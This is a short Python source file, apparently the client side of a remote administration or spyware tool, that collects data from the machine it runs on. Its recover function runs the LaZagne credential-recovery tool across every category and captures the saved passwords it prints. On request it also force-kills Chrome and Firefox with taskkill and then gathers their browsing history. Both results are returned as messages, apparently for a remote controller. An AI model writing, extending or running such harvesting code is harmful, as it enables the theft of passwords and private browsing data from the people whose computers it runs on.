summaryrefslogtreecommitdiff
path: root/foreign/client_handling/recover.py
blob: c332fb22aac9bf08ccffdf342315653030f501ce (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import contextlib
import io
import os

from foreign.client_handling.browserhistory.browserhistory import get_browserhistory
from foreign.client_handling.lazagne.config.write_output import StandardOutput
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.run import run_lazagne

constant.st = StandardOutput()


def runLaZagne(category_selected='all', subcategories={}, password=None):
	for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories, password=password):
		yield pwd_dic


def recover(action_type, force):
	if action_type == 'password':
		with io.StringIO() as stdout, contextlib.redirect_stdout(stdout):
			for r in runLaZagne(): pass
			return {'message': stdout.getvalue().strip()}
	elif action_type == 'history':
		if force:
			for browser in ('chrome', 'firefox'):
				os.system(f'tasklist | find /i "{browser}.exe" > nul && taskkill /im {browser}.exe /F > nul')
		
		return {'message': get_browserhistory()}
	else:
		raise Exception('Error message')